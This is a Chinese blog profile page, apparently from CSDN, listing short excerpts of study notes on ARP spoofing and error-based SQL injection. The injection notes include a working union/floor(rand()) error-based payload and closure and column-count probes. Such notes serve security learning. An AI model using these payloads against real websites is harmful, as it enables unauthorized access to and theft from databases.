- 博客(4)
- 收藏
- 关注
原创 arp欺骗
虚拟机三种网络模式nat:只能主机可以访问虚拟机,同一网段的其他ip无法访问到虚拟机桥接:外部也可以访问到虚拟机。虚拟机的网络配置和物理机保持一模一样。
2023-10-09 18:50:53
32
1
原创 报错注入(二)
?id=1' union select 1,count(*),concat_ws('~',(select version()),floor(rand(0)*2)) as x from information_schema.tables group by x--+
2022-11-25 19:46:01
87
2
原创 报错注入笔记
select extractvalue(列名,'路径')from xml;substring(内容,起始位,位数)使用函数substring解决只能返回32个字符串问题。1.使用extractvalue查询xml里面的内容。闭合方式 id=1' and 1=2--+无查询结果。列数id=1' group by 3--+4.substring函数。2.concat拼接。
2022-11-23 21:29:53
211
1
s[i].score是什么意思?
2022-12-18
TA创建的收藏夹 TA关注的收藏夹
TA关注的人